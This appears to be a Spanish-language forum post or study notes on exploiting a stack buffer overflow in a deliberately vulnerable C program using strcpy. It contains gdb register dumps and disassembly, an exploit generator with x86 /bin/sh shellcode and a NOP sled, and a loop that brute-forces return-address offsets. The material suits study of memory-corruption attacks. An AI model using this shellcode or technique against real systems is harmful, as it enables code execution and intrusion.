#include <stdio.h>
#include <string.h>
 
 
int main(int argc, char **argv) {
 
 
	char buff[12];
	strcpy(buff,argv[1]);
	printf("\nHas escrito:   %s\n",buff);
 
	return 0;
 
 
}
 

zhynar@zhynar:~/Desktop$ gcc bug2.c -o bug2 -ggdb
zhynar@zhynar:~/Desktop$ ./bug2 hola                    <------- Compruevo que funciona

Has escrito:   hola
zhynar@zhynar:~/Desktop$ ./bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA   <-------- Mas de 12 'A's

Has escrito:   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Violación de segmento                                <---------- Se produce el desbordamiento
zhynar@zhynar:~/Desktop$

zhynar@zhynar:~/Desktop$ gdb bug2
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    <---- Muchas 'A's...
Starting program: /home/zhynar/Desktop/bug2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Failed to read a valid object file image from memory.

Has escrito:   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.      <------ Se produce el desbordamiento
0x080483dc in main (argc=Cannot access memory at address 0x41414141
) at bug2.c:12
12      }
(gdb) info registers
eax            0x0      0
ecx            0x41414141       1094795585
edx            0xb7fbe448       -1208228792
ebx            0xb7fbcff4       -1208233996
esp            0x4141413d       0x4141413d        <---- Sobrescrito
ebp            0x41414141       0x41414141        <---- Sobrescriito
esi            0x0      0
edi            0xb7fe6cc0       -1208062784
eip            0x80483dc        0x80483dc <main+72>      <----- Pero no consigo sobrescribir el EIP   
eflags         0x210282 [ SF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

(gdb) disas main
Dump of assembler code for function main:
0x080481b4 <main+0>:    push   %ebp
0x080481b5 <main+1>:    mov    %esp,%ebp
0x080481b7 <main+3>:    sub    $0x18,%esp
0x080481ba <main+6>:    and    $0xfffffff0,%esp
0x080481bd <main+9>:    mov    $0x0,%eax
0x080481c2 <main+14>:   add    $0xf,%eax
0x080481c5 <main+17>:   add    $0xf,%eax
0x080481c8 <main+20>:   shr    $0x4,%eax
0x080481cb <main+23>:   shl    $0x4,%eax
0x080481ce <main+26>:   sub    %eax,%esp
0x080481d0 <main+28>:   sub    $0x8,%esp
0x080481d3 <main+31>:   mov    0xc(%ebp),%eax
0x080481d6 <main+34>:   add    $0x4,%eax
0x080481d9 <main+37>:   pushl  (%eax)
0x080481db <main+39>:   lea    0xffffffe8(%ebp),%eax
0x080481de <main+42>:   push   %eax
0x080481df <main+43>:   call   0x804973c <strcpy>
0x080481e4 <main+48>:   add    $0x10,%esp
0x080481e7 <main+51>:   sub    $0x8,%esp
0x080481ea <main+54>:   lea    0xffffffe8(%ebp),%eax
0x080481ed <main+57>:   push   %eax
0x080481ee <main+58>:   push   $0x805b46a
0x080481f3 <main+63>:   call   0x8049708 <printf>
0x080481f8 <main+68>:   add    $0x10,%esp
0x080481fb <main+71>:   mov    $0x0,%eax
0x08048200 <main+76>:   leave
0x08048201 <main+77>:   ret
End of assembler dump.

(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) x/1 $eip
0x48484848:     Error accessing memory address 0x48484848: Bad address.

(gdb) info register
eax            0x0      0
ecx            0x0      0
edx            0x35     53
ebx            0x2      2
esp            0xbfbfe910       0xbfbfe910
ebp            0x47474747       0x47474747
esi            0xbfbfe960       -1077941920
edi            0x0      0
eip            0x48484848       0x48484848
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb)

%gcc -v
Using built-in specs.
Configured with: FreeBSD/i386 system compiler
Thread model: posix
gcc version 3.4.6 [FreeBSD] 20060305

#include <stdio.h>
#include <string.h>
 
 
int main(int argc, char **argv) {
 
 
	char buff[12];
	strcpy(buff,argv[1]);
	printf("\nHas escrito:   %s\n",buff);
 
	return 0;
 
 
}
 

% ./codigo `cat evilbuffer.txt`

#include<stdio.h>
#define NOP 0x90
 
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
 
unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}
 
int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        long  nop_addr;
        int offset = 0;
	int size = 40;
        int i;
        if (argc!=2)    {
		printf("Crea un archivo con el EGG\n");
                printf("Uso: %s <desplazamiento>\n", argv[0]);
                return 0;
        }
 
        offset  = atoi(argv[1]);
        buffer = calloc(size,sizeof(char));
        nop_addr = get_esp() - offset;
 
        for (i = 0; i < (size/4); i++)
                *((long*)buffer + i) = nop_addr;
 
        for (i = 0; i < size/2; i++)
                buffer[i] = NOP;
 
        for (i = 0; i < strlen(shellcode); i++)
                *(buffer + 3 +i ) = shellcode[i];
 
        buffer[size - 1] = '\0';
	vuln[1] = buffer;
	printf("Direcion Ret: 0x%x\n",nop_addr);
        execv(vuln[0],vuln);
        return 0;
}
 
 

%./eexploit 20
Direcion Ret: 0xbfbfe8d4

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 30
Direcion Ret: 0xbfbfe8ca

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 120
Direcion Ret: 0xbfbfe870

Has escrito:   ���1�Ph//shh/bin��PSPTS�;Pp迿p迿p��
Segmentation fault
%./eexploit 200
Direcion Ret: 0xbfbfe820

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P 迿 迿 ��
Segmentation fault

#include<stdio.h>
 
int main(void)	{
	int i = 0;
	char *explo = "/usr/home/luis/eexploit";
	char *buffer= (char*) calloc(40,sizeof(char));
	while(i<1000)	{
		printf("Usando: %d\n",i);
		sprintf(buffer,"%s %d",explo,i);
		system(buffer);
		i++;
	}
}
 
 

%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>:    lea    0x4(%esp),%ecx
0x080481b4 <main+4>:    and    $0xfffffff0,%esp
0x080481b7 <main+7>:    pushl  0xfffffffc(%ecx)
0x080481ba <main+10>:   push   %ebp
0x080481bb <main+11>:   mov    %esp,%ebp
0x080481bd <main+13>:   push   %ecx
0x080481be <main+14>:   sub    $0x14,%esp
0x080481c1 <main+17>:   mov    0x4(%ecx),%eax
0x080481c4 <main+20>:   add    $0x4,%eax
0x080481c7 <main+23>:   mov    (%eax),%eax
0x080481c9 <main+25>:   sub    $0x8,%esp
0x080481cc <main+28>:   push   %eax
0x080481cd <main+29>:   lea    0xfffffff0(%ebp),%eax
0x080481d0 <main+32>:   push   %eax
0x080481d1 <main+33>:   call   0x8049734 <strcpy>
0x080481d6 <main+38>:   add    $0x10,%esp
0x080481d9 <main+41>:   sub    $0x8,%esp
0x080481dc <main+44>:   lea    0xfffffff0(%ebp),%eax
0x080481df <main+47>:   push   %eax
0x080481e0 <main+48>:   push   $0x805b46a
0x080481e5 <main+53>:   call   0x8049700 <printf>
0x080481ea <main+58>:   add    $0x10,%esp
0x080481ed <main+61>:   mov    $0x0,%eax
0x080481f2 <main+66>:   mov    0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>:   leave
0x080481f6 <main+70>:   lea    0xfffffffc(%ecx),%esp
0x080481f9 <main+73>:   ret
End of assembler dump.
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4
5       int main(int argc, char **argv) {
6
7
8               char buff[12];
9               strcpy(buff,argv[1]);
10              printf("\nHas escrito:   %s\n",buff);
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Program received signal SIGSEGV, Segmentation fault.
0x080481f9 in main (argc=Error accessing memory address 0x44444444: Bad address.
) at codigo.c:15
15      }
(gdb) info register
eax            0x0      0
ecx            0x44444444       1145324612
edx            0x3e     62
ebx            0x2      2
esp            0x44444440       0x44444440
ebp            0x45454545       0x45454545
esi            0xbfbfe958       -1077941928
edi            0x0      0
eip            0x80481f9        0x80481f9
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) printf "%c\n", 0x44
D